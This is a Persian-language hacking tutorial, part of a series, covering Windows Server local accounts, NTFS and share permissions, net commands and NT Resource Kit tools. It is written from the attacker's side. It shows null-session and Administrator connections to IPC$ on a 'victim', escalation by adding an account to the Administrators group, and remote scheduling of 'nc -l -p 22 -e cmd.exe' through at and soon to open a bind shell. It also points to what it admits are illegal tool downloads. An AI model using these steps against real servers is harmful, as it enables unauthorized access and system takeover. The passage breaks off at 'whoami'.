این مقاله ادامه مقاله قبلیه! در این درس نیز ما با یک سرور ویندوز به صورت یک کامپیوتر منفرد سروکار داریم و توجهی به کامپیوترهای متصل به اون در شبکهای که هست نداریم.
- اکانتها و گروهها در ویندوز سرورهمونطور که گفتم ما داریم در مورد یک ویندوز سرور منفرد صحبت میکنیم، بنابراین منظور من از اکانت، اکانتهای محلی یا local است ( وقتی چند ویندوز سرور در کنار هم و به صورت شبکه مورد استفاده هستند، معمولا اکانتهای سراسری یا global هم ست میشود که برای دسترسی به منابع در domain مورد استفاده قرار میگیرد. درمورد اینکه domain در ویندوز سرور چیست، بعدها توضیح میدم). بنابراین ما بحث اکانتهای لوکال رو داریم. در مورد گروهها هم همینطور یعنی گروههای لوکال رو میگم.
اکانت عبارت از یک username و password معتبر در ویندوز سرور است. وقتی از طریق یک اکانت به سیستم وارد میشویم، اصطلاحا میگوییم که login یا logon کردهایم. با login کردن به سرور به سطحی خاص از دسترسی به فایلها و منابع سیستم میرسیم که بستگی به سطح اختیارات اون اکانت داره. تعداد زیادی اکانت لوکال پیشفرض وجود داره که مهمترینهاش، ایناست:
۱- اکانت Administrator : بالاترین سطح دسترسی به اون سرور خاص است. اگه با این اکانت login کنید، به نهایت دسترسی به اون کامپیوتر رسیدهاید. معادل root در سیستمعاملهای مبتنی بر یونیکس.
۲- اکانت guest : به صورت پیشفرض غیر فعال است. اختیارات بسیار محدودی دارد.
۳- اکانت IUSR_xxxxx-yyyyy : در این اکانت xxxx-yyyyyy نام همون کامپیوتره. مثلا ممکنه اسم این اکانت این باشه: IUSR_ABBASGOLI-V0P1QR !! این اکانت همراه با IIS به طور پیشفرض ایجاد میشه و خود ویندوز یه پسورد random براش ست میکنه. ( IIS یا Internet Information Server وبسرور مایکروسافت برای ویندوز است. این نرمافزار همون چیزی است که روی پورت ۸۰ فالگوش میماند و وقتی شما سایتی از اون سرور رو توسط مرورگر درخواست میکنید، برای شما صفحه وب رو میفرستد. وب سرورهای دیگری نیز برای ویندوز وجود دارد که به اندازه IIS پرکاربرد نیستند) این اکانت نیز یک اکانت محدود است. وقتی شما مشخصا از طریق پورت ۸۰ ویندوز سروری را هک میکنید که IIS روی اون نصب شده و یک شل از این طریق میگیرید، معمولا شما سطح اختیاراتی معادل همین اکانت IUSR_xxxxx-yyyyy رو بدست آوریدهاید. یعنی شما سطح اختیارات Administrator رو ندارید. خیلیّها از من میپرسند که مثلا با Unicode bug یک ویندوز ۲۰۰۰ رو هک کردهایم ولی نمیتونیم مثلا صفحه اول سایت رو عوض کنیم... دلیلش اینه که شلی که شما از این طریق بدست آوردهاید، در سطح Administrator نیست و ممکن است لازم باشد که به طریقی از اکانت IUSR_xxxxx-yyyyy به Administrator برسید تا بتونید اون فایل خاص (صفحه اول) رو بدست بگیرید.
۴- و...
گروههای محلی ( local groups ) چیست؟
فرض کنید که یه کامپیوتر ۵۰ اکانت مختلف در اون ایجاد شده که هر کدوم از این اکانتها دسترسی متفاوتی باید به منابع داشته باشند. اگه قرار باشه هر ۵۰ اکانت تک تک ایجاد بشه و اجازه دسترسی به منابع خاص یکی یکی ایجاد بشه، کار بسیار طولانی خواهد بود. معمولا اینگونه است که تعداد زیادی از این اکانتها باید سطح اختیارات یکسان داشته باشند، مثلا ۳۰ تاشون در حد guest باید به سرور دسترسی داشته باشند. در این حالت بهتر است که یک گروه ایجاد شود و اختیارات واسه اون گروه ست بشه. حالا هر اکانتی که داخل اون گروه ایجاد بشه، همون سطح اختیارات رو خواهد داشت و این مدیریت رو سادهتر میکنه. معمولا اسم گروهها یه حرف s آخرشون دارند که علامت جمعه. مهمترین گروهها عبارتند از:
۱- Administrators: یعنی admin ها. مجموعهای از اکانتها که دسترسیشون در حد Administrator است.
۲- Power Users
۳- Backup Operators
۴- Guests
۵- Users
۶- و...
Account Policy چیست؟
قواعدی است که برای اکانتها ست میشود. مثلا ممکن است Admin سرور ست کند که حداقل طول پسورد برای اکانت باید ۶ حرف باشد یا اینکه فلان اکانت بعد از ۳ بار امتحان ناموفق برای login قفل شود و... این اطلاعات رو قبلا در درس پورت ۱۳۹ گفتم که میشه به کمک enum یا winfo و... بدست آورد.
- permision ها ( مجوزها ) در NTFSمجوزها در NTFS مهمترین تحولی است که نسبت به FAT32 رخ داده است. مجوزها تعیین میکنند که یک یوزر که به سیستم login کرده است، در چه حدی میتواند با فایلهای یک فولدر کار کند. فرض کنید که یک یوزر از گروه guests به سیستم وارد شده است، در این حالت مسلما نمیخواهیم که این فرد بتواند به تمام فایلها دسترسی از نوع خواندن و نوشتن داشته و آنها را تغییر دهد. پس فولدرهایی وجود دارند ( مثل فولدر مربوط به فایلهای ویندوز ) که فقط برای افراد خاصی قابل دسترسی هستند.
نکته بسیار مهم در ویندوز این است که مجوزها برای فولدرها تنظیم میشوند نه برای فایلها. به عبارت دیگر وقتی مجوزی برای فایلی میخواهیم ست کنیم، در ویندوز سرورها نمیتوانیم برای اون فایل این مجوز رو تنظیم کنیم، بلکه باید فولدری که فایل در اون قرار گرفته رو ست کنیم. در این حالت تمام فایلهای داخل اون فولدر همین مجوز رو خواهند داشت.
نکته مهم دیگر این است که مجوزها برای اکانتهای مختلف به صورتهای متفاوت ست میشوند. مثلا ممکن است فولدر ویندوز برای اکانتهای guest به صورت فقط خواندنی تنظیم شود، ولی برای اکانتهای Administrators به صورت دسترسی کامل.
الف- مجوزها در NTFS 4.0:
۱- No Access : یعنی عدم دسترسی برای یک اکانت خاص. یعنی اینکه حتی نمیتوان وارد اون فولدر شد.
۲- Read: فقط خواندنی. یعنی میشه به فولدر وارد شد و فایلها رو دسترسی داشت ( چه فایلهای اجرایی و چه غیر اجرایی ) و اونها رو خواند ( در مورد فایلهای اجرایی یعنی میشه اجراشون کرد ) ولی اجازه تغییر در فایلهای اون فولدر مثل پاک کردن، ویرایش و ایجاد فایل جدید رو نداریم.
۳- Change: یعنی هم خواندن، هم تغییر، هم حذف و هم اجرا برای اون اکانت خاص مجاز است. یعنی همه کار ولی نه تغییر دادن مجوزها واسه اون فولدر. یعنی اینکه فرد نمیتونه ست کنه که این فولدر که الان مثلا برای اکانتهای guests قابل دسترسی نیست، قابل دسترس بشه.
۴- Full Control: یعنی دسترسی کامل. شامل همه مواردی که در شماره ۳ گفته شد + اجازه تغییر مجوزها. بنابراین این مجوز معمولا فقط برای Adminها ست میشود.
ب- مجوزها در NTFS 5.0:
۱- No Access : یعنی عدم دسترسی.
۲- Read: فقط خواندنی. در NTFS 4.0 در حالت Read میتونستیم فایلهای اجرایی داخل اون فولدر رو اجرا کنیم ولی در NTFS 5.0 با این مجوز نمیتونیم فایلهای اجرایی رو اجرا کنیم و فقط میتونیم بخونیم.
۳- Read & Execute: یعنی اجازه خواندن و نیز اجازه اجرا کردن.
۴- Write: یعنی اجازه خواندن، اجزا کردن و تغییر دادن.
۵- Modify: دقیقا مثل Write. این نشون از ضریب هوشی مایکروسافت بزرگ داره! دو اسم برای یک نوع دسترسی :)
۶- Full Control: یعنی مثل Write + اجازه تغییر مجوزها
- Share ها در ویندوز سرورshare در ویندوز سرورها یعنی منابعی که از طریق شبکه ( یعنی از راه دور ) قابل دسترسی باشد. همونطور که تو درس مربوط به پورت ۱۳۹ گفتم، دسترسی به منابع اشتراکی در ویندوز سرورها، از طریق پروتکل SMB است که مایکروسافت اونو CIFS میگه. در این حالت، اول یک احراز هویت داریم و بعد از اون یک session یا نشست تشکیل میشه ( یه چیزی هم به اسم Null Session هست که توضیحاتش در همون درس اومده. ) پروتکلهای قدیمی NetBEUI (که از دور خارج شده) و NetBIOS هم چیزی است هنوز هم توسط ویندوز ساپورت میشه. منابع اشتراکی هم که مشخصه: فولدرها، درایوها و چاپگر.
حالا میرسیم به لیست share ها:
$IPC : یعنی دسترسی کامل. اگه بتونیم به این share برسیم در واقع به تمام فایلها، درایوها و فولدرها دسترسی داریم. معمولا دسترسی به این share فقط واسه اکانتهای Admin است.
$ADMIN : این share مربوط به فولدری است که ویندوز در اون نصب شده است یعنی %SystemRoot% بنابراین share محدودتری نسبت به $IPC محسوب میشه.
$print : یعنی چاپگر! فولدر مربوطهاش اینجاست: SystemRoot%system32spoolPRINTERS% یعنی با این share به این فولدر دسترسی داریم. این فولدر جایی است که کارهای چاپی به صورت فایلهایی با پسوند spl نگهداری میشوند.
$C و
$D و...: اگه این share ها ست شده باشه به درایوهای C و D و ... دسترسی داریم.
share های دیگر: هر فولدری رو در ویندوز میشه share کرد و یک نام خاص به اون نسبت داد...
خوب بحث اینجاست که هر کدوم از این share ها هم میتونند واسه اکانتهای مختلف به صورتهای متفاوت مجوزدهی شوند ( درست مثل بحث NTFS که گفتم) ولی یه تفاوت وجود داره. در مورد share ها عبارت Network Access رو بکار میبریم ولی واسه NTFS عبارت Local Access و اینا ممکنه متفاوت باشند. مثلا فرض کنیم که درایو C واسه اکانت guest در share به صورت read ست شده باشه. ولی در همین درایو فولدر ویندوز باشه که واسه guest در NTFS به صورت No Access ست بشه. حالا چه اتفاقی میافته؟ در این حالت، به صورت اشتراک به قضیه نگاه میکنیم، یعنی No Access (واسه حالت local Access) و Read (واسه حالت remote Access ) رو با هم اشتراک میگیریم ( همون چیزی که تو درس ریاضیات خوندیم! ) و نتیجه No Access میشه. پس اگه یک guest از طریق share وارد درایو C بشه، اگرچه به خیلی از فولدرها دسترسی خواهد داشت ولی دسترسی اون به فولدر مربوط به ویندوز در همون درایو غیرممکن خواهد بود.
- سایر دستورات خط فرمانی در ویندوز سرورهایک سری دستورات خطفرمانی در قسمت اول این مجموعه درسها بررسی شد. بیشتر دستورات خطفرمانی که امروز میگم، از مجموعه دستور net ویندوز هستند (یعنی با عبارت net شروع میشوند) و اکثرا لازم است که با اکانتی در حد Administrator باشید که اجرا بشوند. یه مطلب دیگه اینکه وقتی میگم که یه دستور به صورت لوکال هم میتونه اجرا بشه، روی ویندوز NT کامپیوتر خودتون هم میتونید تست کنید. مطلب بعدی اینکه این دستورات کاربردهای زیادی دارند ولی ما فقط مواردی رو بررسی میکنیم که بدرد یک هکر میخوره!
۱-
net help :
این دستور در واقع help دستور net است. مینویسم:
و جواب میشنوم:
The syntax of this command is:
NET HELP command
-or-
NET command /HELP
Commands available are:
NET ACCOUNTS NET HELP NET SHARE
NET COMPUTER NET HELPMSG NET START
NET CONFIG NET LOCALGROUP NET STATISTICS
NET CONFIG SERVER NET NAME NET STOP
NET CONFIG WORKSTATION NET PAUSE NET TIME
NET CONTINUE NET PRINT NET USE
NET FILE NET SEND NET USER
NET GROUP NET SESSION NET VIEW
NET HELP SERVICES lists the network services you can start.
NET HELP SYNTAX explains how to read NET HELP syntax lines.
NET HELP command | MORE displays Help one screen at a time.
توضیحات کاملا واضحه. مثلا اگه بخوام در مورد دستور net time و کاربردش اطلاعات بگیرم، باید بنویسم:
یا
تا توضیحات بیاد.
۲-
net helpmsg :
وقتی که یک دستور net به صورتی اجرا میشه که خطایی پیش بیاد، ویندوز یک شماره خطای ۴ رقمی به ما میده که برای دریافت جزئیات بیشتر در مورد این خطا باید از دستور net helpmsg استفاده کنیم. مثلا مینویسم!
net share shanguli_mangul_habbeye_angur
و جواب میاد:
This shared resource does not exist.
More help is available by typing NET HELPMSG 2310.
یک خطا رو گزارش داده و یک عدد ۴ رقمی به من داده. برای اینکه بدونم جزئیات خطا چیه، مینویسم:
و به من میگه که اشتباه من چه بوده است...
۳-
net time :
ما از این دستور برای فهمیدن زمان روی یک سرور استفاده میکنیم. اگه به صورت لوکال استفاده میکنید ( یعنی اگه یک shell در سرور قربانی دارید و دستورات رو همونجا تایپ میکنید) بنویسید:
ولی اگه به صورت remote کار میکنید (یعنی یک NetBIOS session تشکیل دادهاید توسط دستور net use که در درس پورت ۱۳۹ هم توضیح داده شده )، بنویسید:
net time \xxx.xxx.xxx.xxx
که xxx.xxx.xxx.xxx همان ip ی است که session براش داریم.
۴-
net use :
این دستور دو کاربرد مهم داره که در بحث پورت ۱۳۹ بحث شدهاست. اولین کاربرد connect یا disconnect شدن به یک کامپیوتر با پورت ۱۳۹ باز و NetBIOS فعال است. مثلا اگه بخوام با اکانت Administrator با پسورد yechizi به کامپیوتری با ip ی xxx.xxx.xxx.xxx کانکت بشم به share ی به اسم $IPC (این share معمولا هست، به همین دلیل از این share استفاده کردم. اگه شما روی کامپیوتر قربانی از وجود share دیگری اطلاع دارید، همون رو استفاده کنید ) ، مینویسم:
net use \xxx.xxx.xxx.xxxIPC$ "yechizi" /user:"Administrator"
این کاربرد اول بود که اینو قبل از دستور net view انجام میدیم. میتونستیم یک null Session تشکیل بدیم، به این صورت که قسمت مربوط به username و password رو خالی بذاریم. به این صورت:
net use \xxx.xxx.xxx.xxxIPC$ "" /user:""
حالا session تشکیل شده است! کاربرد بعدی اینه که بعد از اینکه دستور بالا رو اجرا کردم و بعد دستور net view رو اجرا کردم و لیست کامل share ها رو بدست آوردم، بیام و یکی از این share ها رو استفاده کنم. مثلا اگه اسم share که لیست شده، SharedDocs باشه، و بخوام یک درایو جدید رو بهش نسبت بدم که بتونم باهاش کار کنم، مینویسم:
net use * \xxx.xxx.xxx.xxxSharedDocs
معنی کاراکتر * اینه که اگه مثلا آخرین درایو در کامپیوتر من ( با احتساب سی-دی درایو ) مثلا G باشه، درایوی که برای share استفاده میشه، درایو بعدی یعنی H باشه. میتونستم اینطوری هم بنویسم:
net use H: \xxx.xxx.xxx.xxxSharedDocs
خوب حالا میتونم مثل یک درایو محلی باهاش کار کنم. توی درس پورت ۱۳۹ میاومدیم و My Computer رو از دسکتاپ باز میکردیم و با درایو جدید کار میکردیم. چون ما دستورات داس رو یاد گرفتهایم میتونیم با این دستورات هم با اون درایو کار کنیم، مثلا بنویسیم:
وقتی کارمون با share تموم شد، باید disconnect کنیم، با این دستور :
تا ارتباط قطع بشه.
۵-
net view :
netbios session تشکیل دادهام (گاهی Null Session هم جواب میده) و حالا میخوام ببینم که چه منابعی برام share شده، مینویسم:
net view \xxx.xxx.xxx.xxx
و مثلا جواب میگیرم:
Shared resources at \xxx.xxx.xxx.xxx
Share name Type Used as Comment
------------------------------------------------
SharedDocs Disk
The command completed successfully.
میبینید که SharedDocs فولدریاست که share شده. حالا با دستور net use میتونم از share استفاده کنم.
۶-
net share :
این دستور به ما کمک میکنه که share ها رو به صورت لوکال مدیریت کنیم ( دستور بالایی به صورت remote استفاده میشد ) . میخوام ببینم که چه share هایی الان هست. مینویسم:
و جواب میگیرم:
Share name Resource Remark
-------------------------------------------------------------------------------
F$ F: Default share
IPC$ Remote IPC
D$ D: Default share
I$ I: Default share
G$ G: Default share
E$ E: Default share
ADMIN$ I:WINNT Remote Admin
H$ H: Default share
C$ C: Default share
J$ J: Default share
The command completed successfully.
همشون پر واضحاند! خوب حالا میخوام مثلا $C رو از لیست share ها پاک کنم. مینویسم:
اگه دوباره لیست رو بیارم، میبینم که دیگه نیست. میخوام دوباره همون رو share کنم، مینویسم:
حالا میخوام مثلا فولدر C:ali رو به اسم info بیام و share کنم، مینویسم:
حالا اگه لیست بگیرم، میبینم که وارد لیست شده.
۷-
net accounts :
Account Policy رو برای اکانتی که با اون وارد شدهایم بیان میکند. بهصورت لوکال استفاده میشود. مینویسم:
و مثلا جواب میشنوم:
Force user logoff how long after time expires?: Never
Minimum password age (days): 0
Maximum password age (days): 42
Minimum password length: 0
Length of password history maintained: None
Lockout threshold: Never
Lockout duration (minutes): 30
Lockout observation window (minutes): 30
Computer role: SERVER
The command completed successfully.
تنها قسمتی که نیاز به توضیح دارد، عبارت Lockout است. این یک ویژگی امنیتی است. فرض کنید که کسی میخواد از طریق امتحان کردن تعداد زیادی پسورد برای یک اکانت، پسورد رو پیدا کنه ( Crack کردن ). میتونیم جوری اکانت رو تنظیم کنیم که مثلا بعد از سه بار تست ناموفق، به مدت چند دقیقه locak یا قفل بشه. اسن باعث میشه که کار هکر کند بشه. ولی معمولا اینطوری است که اکانت Administrator جوری هست که هرگز قفل نشه ( توضیحات مفصل رو درس بعدی بخونید ).
۸-
net user :
این دستور به ما کمک میکنه که به صورت لوکال بدونیم که چه اکانتهایی در سیستم تعریف شده است و نیز اینکه اطلاعاتی در مورد هریک بدست بیاریم و نیز اکانت جدید تعریف کنیم. اول میخوام بدونم چه اکانتهایی تعریف شده، مینویسم:
و جواب میشنوم:
User accounts for \computer-name
-------------------------------------------------------------------------------
Administrator ali araz
ASPNET Guest
The command completed successfully.
خوب حالا مثلا میخوام راجع به اکانت guest اطلاعاتی بگیرم، مینویسم:
و جواب میگیرم:
User name Guest
Full Name
Comment Built-in account for guest access to the computer/domain
User's comment
Country code 000 (System Default)
Account active No
Account expires Never
Password last set 10/27/2003 2:58 AM
Password expires Never
Password changeable 10/27/2003 2:58 AM
Password required No
User may change password No
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships *Guests
Global Group memberships *None
The command completed successfully.
میبینید که در سطر ۲ تا مونده به آخر ( سطری Local Group Membership ) دقیقا بیان شده که این اکانت به چه گروههایی تعلق داره. دقت کنید که بهجای دستور net user از دستور net users هم میتونید استفاده کنید.
حالا میخوام یک اکانت جدید اضافه بکنم. اسم اکانت میخوام vahid باشه و پسورد اون yechizi مینویسم:
net user vahid yechizi /add
حالا میخوام همین اکانت رو پاک کنم:
دقت کنید که در دستور پاک کردن دیگه لزومی به وارد کردن پسورد نیست. دستور بعدی به ما میگه که چطوری یک اکانت رو وادار کنیم که عضو یک گروه محلی شود.
۹-
net localgroup :
لیست گروههای محلی تعریف شده رو بیان میکنه و نیز میشه فهمید در هر کدوم از این گروهها چه اکانتهایی هست ونیز میشه به یک گروه خاص اکانتی اضافه کرد. میخوام ببینم که چه گروههای محلی تعریف شده است. مینویسم:
و جواب میشنوم:
Aliases for \Computer-name
-------------------------------------------------------------------------------
*Administrators *Backup Operators *Debugger Users
*DHCP Administrators *DHCP Users *Guests
*Power Users *Replicator *Users
The command completed successfully.
دقت کنید که ویندوز معمولا هنگام ارائه نتایج دستورات net میاد و اول اسم هر گروه یک * قرار میده تا با اکانتها اشتباه نشه. حالا میخوام ببینم که مثلا در گروه Administrators چه اکانتهایی هست. مینویسم:
net localgroup Administrators
و جواب میشنوم:
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
ali
araz
The command completed successfully.
پس سه تا اکانت در حد Admin داریم. حالا میخوام مثلا اکانت ali رو از لیست Admin ها خارج کنم، مینویسم:
net localgroup Administrators ali /delete
و اون اکانت از گروه حذف میشه (میتونید دوباره لیست بگیرید و ببینید که دیگه در این گروه نیست ). حالا میخوام دوباره اکانت ali رو به این گروه اضافه کنم، مینویسم:
net localgroup Administrators ali /add
این دستور از جمله مهمترین دستوراتی است که باید یاد بگیرید. گاهی با اکانتی وارد میشویم و میخواهیم که اونو به حد Admin برسونیم و روش کار همین دستور آخری است ( اینکه اجازه اینکار رو داریم یا نه، بحثی است که بعدا مطرح میشه و گفته خواهد شد که چطوری توسط یک سری exploit مشکل رو حل کنیم). وقتی اکانتی وارد گروه Admin میشه، تمام مزایای همچین گروهی رو یدست میاره.
۱۰-
net session :
به کمک این دستور مشخص میشه که چه کسانی الان یک session در سیستم دارند. به عبارت دیگه چه کسانی به صورت remote به سیستم وارد شدهاند. این دستور رو تایپ کنید:
تا لیست اونا بیاد. اگه میخوام همه session ها رو خاتمه بدم، مینویسم:
این همه session های مرا در کامپیوتری که درش این دستور اجرا شده، با سایر کامپیوترها قطع میکند. اگه فقط بخوام یک session رو با یه کامپیوتر خاص تموم کنم، مینویسم:
net session \xxx.xxx.xxx.xxx /delete
این در حالتی است که با اون کامپیوتر session داشته باشم. دقت کنید که به جای دستور net session میتونید از دستور net sessions یا net sess استفاده کنید.
۱۱-
net send :
فرض کنید که میخوام یک message به فرد خاصی که الان به سیستم وارد شده و یک session دارد بفرستم. ( اینکه فردی session دارد یا نه، به کمک دستور net session قابل بررسی است) بدین منظور از این دستور میتونم استفاده کنم. مثلا اگه بخوام به Administrator که الان در سیستم هست، پیغام Salam Refig رو بفرستم، مینویسم:
net send Administrator Salam Refig
در این حالت اون پیغام منو میگیره. اگه بخوام به همه اونایی که الان session دارند، همین پیغام رو بفرستم، مینویسم:
net send /users Salam Refig
و پیغام و همه میگیرند. این دستور باید به صورت local یعنی از طریق یک shell اجرا بشه.
۱۲- سایر دستورات net :
یک سری دستورات net هستند مثل net computer و net group که در شبکهای از ویندوز سرورها کاربرد دارند و بعدها بررسی خواهند شد. و نیز یک سری دستور برای مدیریت سرویسها داریم مثل net config و net stop و net continue و net pause و net start که در جلسه بعد میگم.
- NTRK چیست؟NTRK مخفف NT Resourse Kit است. NTRK محصولی از مایکروسافت است و به صورت یک CD جداگانه (و البته پولی) همراه نسخههای مختلف ویندوزهای سری NT به فروش میرسه و یک سری ابزارهای خطفرمانی و گرافیکی بسیار جالب را در اختیار قرار میده. NTRK مثل یک شمشیر دولبهاست، هم به مدیران شبکه کمک میکنه که کار مدیریت ویندوز سرور رو راحتتر انجام بدهند و هم از دیدگاه هکر، NTRK پر از برنامههایی است که برای هک کردن ویندوز سرور مورد نیاز است. نرمافزارهایی که خط فرمان خود ویندوز فاقد آن است. الان که من دارم درس رو مینویسم، شما میتونید از
این آدرس به تعدادی از این ابزارها دسترسی پیدا کنید. (البته این گونه آدرسها مدام تغییر میکنند چون در واقع غیرقانونی هستند). حالا مهمترین نرمافزارهای این مجموعه رو شرح میدم:
الف- ابزارهای کار با Schedule Service :۱-
sc :
به کمک این ابزار، میتونیم سرویسهای خاصی رو در سرور شروع، متوقف و... کند. مهمترین سرویسی که در کار با این ابزار مدنظر داریم، schedule service است. این سرویس به ما امکان میدهد که سرور قربانی رو وادار کنیم که در زمان خاص، کار خاصی رو انجام دهد. اگه یادتون باشه وقتی با NetBIOS کار میکردیم و میتونستیم تروجانی رو به کامپیوتر قربانی کپی کنیم، معمولا باید منتظر میشدیم که کسی پشت همون کامپیوتر روی فایل کلیک کند یا در موادری خاص میتونستیم کاری کنیم که موقع restart شدن کامپیوتر اون فایل اجرا بشه ولی خودمون نمیتونستیم اون فایل رو اجرا کنیم. به کمک schedule service میتونیم مشخص کنیم که مثلا سر فلان ساعت فلان دستور اجرا شود ( مثلا این دستور میتواند دستوری باشد که به کمک nc یک پورت روی کامپیوتر قربانی اجرا شود ). این حالت در مواردی کاربرد دارد که ما یک اکانت Admin روی اون کامپیوتر داریم ولی به دلایلی شلی در اختیار نیست. برای اینکه توسط ابزار sc بتونیم مثلا schedule service رو در کامپیوتر قربانی فعال کنیم (البته اگه در حال حاضر فعال نباشد )، ابتدا باید یک session به کمک یک اکانت خاص از طریق NetBIOS برپا ! کنیم. دقت کنید که session باید حتما برای اکانتی در سطح اختیارات Admin برپا شود. این کار رو همونطور که گفتم، به کمک دستور net use انجام میدیم. حالا که session برقرار شد، در کامپیوتر خودمون مینویسیم:
sc \xxx.xxx.xxx.xxx start schedule
و جواب میشنوم:
SERVICE_NAME: schedule
TYPE : 120 WIN32_SHARE_PROCESS (interactive)
STATE : 2 START_PENDING
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
و schedule service شروع میشود. دقت کنید که کلمه start برای شروع یک سرویس است و کلمه schedule یعنی schedule service پس با این دستور schedule service در کامپیوتر قربانی فعال میشود. در دستور بالا منظور از xxx.xxx.xxx.xxx در واقع ip قربانی است. همون ip که یک session باهاش داریم.
اگر schedule service از قبل فعال بود جواب میشنیدم:
[SC] StartService FAILED 1056:
An instance of the service is already running.
۲-
at :
بعد از اینکه schedule service در کامپیوتر قربانی فعال شد، حالا میخوام یه schedule task ( یا schedule job ) رو اجرا کنم. یعنی اینکه یک دستور رو مشخص کنم که سر ساعت خاصی اجرا شود. مثلا فرض کنید که من فایل nc رو به فولدری در آدرس c:something کپی کردهام و حالا میخوام کاری کنم که پنج دقیقه دیگه، یک پورت توسط nc ایجاد بشه. اولا اینکه من قبلا یه netbios session تشکیل دادم. حالا میام و ساعت کامپیوتر قربانی رو بدست میارم. این کار رو همونطور که گفتم، توسط دستور net time انجام میدم. ملاحظه میکنم که مثلا ساعت سرور الان 11:20 PM است ( ساعت سرور مسلما با ساعت کامپیوتر شما متفاوت خواهد بود ). حالا اگه بخوام ۵ دقیقه دیگر (یعنی سر ساعت 11:25 PM ) دستور nc -l -p 22 -e cmd.exe اجرا بشه و فایل nc هم همونطور که گفتم مثلا در فولدر c:something باشه، مینویسم:
at \xxx.xxx.xxx.xxx 11:25P "c:something
c -l -p 22 -e cmd.exe"
دقت کنید که هم sc و هم at رو از کامپیوتر خودم اجرا میکنم، پس لزومی به upload اونها به کامپیوتر قربانی نیست. و نیز اینکه برای اجرای این دستورات باید اکانت ما در حد Administrator باشد و نیز NetBIOS روی اون کامپیوتر باز باشد.
حالا میخوام ببینم که آیا این task به لیست schedule اضافه شده یا نه. مینویسم:
و جواب میشنوم:
Status ID Day Time Command Line
-------------------------------------------------------------------------------
1 Today 12:25 PM c:something
c -l -p 22 -e cmd.exe
اگه بخوام این task رو از لیست schedule پاک کنم، مینویسم:
at \xxx.xxx.xxx.xxx 1 /delete
دلیل اینکه از عدد 1 استفاده کردم، این است که در لیستی که در بالا بدست اومد، ID برای این task عدد 1 بود.
یک نکته در مورد sc و at این است که این دستورات رو میشه جوری اجرا کرد که بجای اینکه به صورت remote اجرا شوند، به صورت local اجرا شوند. برای اینکار در تمام دستورات بالا عبارت xxx.xxx.xxx.xxx\ رو حذف کنید و نیز مسلم است که نیازی به session نخواهد بود و باید هر دو فایل در سرور قربانی کپی شوند. این گونه استفاده از این دو دستور معمولا پیش نمیآید. زیرا فلسفه استفاده از آنها در مواقعی است که شلی در سرور نداریم. حالا که شل نیست، چطوری دستورات مربوطه رو اجرا کنیم ؟!
۳-
soon :
همان کار at رو انجام میده ولی دیگه نیازی نیست که زمان رو در سرور بدست بیاریم. زیرا این ابزار یک کار خاص رو چند ثانیه بعد برای ما انجام میده. مثلا اگه بخوایم به صورت remote و توسط این ابزار مثلا ۱۰ ثانیه بعد دستور nc -l -p 22 -e cmd.exe رو روی سرور قربانی اجرا کنیم، مینویسیم:
soon \xxx.xxx.xxx.xxx 10 "nc -l -p 22 -e cmd.exe"
همانند at ، این دستور هم میتونه به صورت لوکال اجرا بشه ( خودتون میدونید چطوری ! )
login کردهایم.
ب- ابزارهای کار با رجیستری ویندوز:۴-
reg :
این ابزار برای تغییر دادن رجیستری در ویندوز به کار میره. همونطور که اطلاع دارید وقتی پشت یک کامپیوتر نشستهاید ( یا اینکه یک remote control گرافیکی در اختیار دارید ) میتونید با اجرای برنامه regedit ( مثلا با تایپ کردن اون در Run ویندوز ) به رجیستری ویندوز به صورت گرافیکی دسترسی داشته باشید. ولی اگه بخواین به صورت متنی رجیستری رو تغییر بدید، با ابزارهای خود ویندوز ممکن نیست و این باعث میشه مجبور بشیم از ابزاری به نام reg از NTRK بهره گیریم. اینو بگم که registry ویندوز حاوی اطلاعات حساسی است. اگه دانش کافی راجع بهش ندارید، بهتره هیچ تغییری اعمال نکنید.
reg هم مثل sc و at هم به صورت لوکال و هم به صورت remote قابل استفاده است. اگه در حالت remote میخواین استفاده کنید، حتما باید یک netbios session تشکیل بدید که در سطح دسترسی Administrator باشه. معمولا از این ابزار برای دو منظور استفاده میکنیم: اضافه کردن و پاک کردن کلید (key) و ورودی (entry). اگه بخوایم خیلی قضیه رو ساده بگیریم، کلیدها مثل فولدر است و ورودیها مثل فایل. مثلا اگه بخوایم در کلید HKLMSoftwareMyCoAraz یک ورودی به صورت Point=20.00 را اضافه کنیم و نیز اگه به صورت لوکال باشیم، مینویسیم:
REG ADD HKLMSoftwareMyCoArazPoint=20.00
و اگه بخوایم همین کارو در کامپیوتر قربانی به صورت remote انجام بدیم، مینویسیم:
REG ADD HKLMSoftwareMyCoArazPoint=20.00 \xxx.xxx.xxx.xxx
حالا اکه بخوام یک همین کلید رو پاک کنم، در حالت لوکال مینویسم:
REG DELETE HKLMSoftwareMyCoAraz /FORCE
و در حالت remote مینویسم:
REG DELETE HKLMSoftwareMyCoAraz \xxx.xxx.xxx.xxx /FORCE
تغییر دادن یک ورودی هم دقیقا مثل اضافه کردن اونه. فقط به جای reg add از
reg update استفاده میکنیم.
۵-
regini :
کارش مثل reg است. فقط کلیدها و ورودیهایی که میخواهیم اضافه کنیم رو در یک فایل با پسوند ini قرار میدیم و این ابزار کار مورد نظر رو انجام میده. مثلا اگه همان کار بالایی رو بخواهیم با regini انجام بدیم، یک فایل متنی باز میکنیم به نام مثلا Araz.ini و داخل فایل مینویسیم:
HKLMSoftwareMyCoAraz
Point = REG_SZ 20.00
و بعد مینویسم:
regini -m \xxx.xxx.xxx.xxx Araz.ini
این دستور معمولا موقعی به کار میره که چند entry (ورودی) رو میخواهیم به یک key (کلید) اضافه کنیم. در این حالت اگه بخوایم این کارو توسط reg انجام بدیم، چند بار باید دستور رو تکرار کنیم.
پ- ابزار تشخیص نوع ویندوز :۶-
gettype :
ابزار بسیار جالبی است که باید به صورت لوکال روی سرور قربانی اجرا شود. با اجرای این دستور مشخص میشود که ویندوز NT قربانی، از نوع Windows Server است یا Windows Workstation و اینکه Domain Controller است یا نه و... من روی ویندوز ۲۰۰۰ خودم نوشتم:
و جواب شنیدم:
Windows NT [Enterprise/Terminal] Server Non-Domain Controller
ت- ابزارهای کار با اکانتها :۷-
whoami :
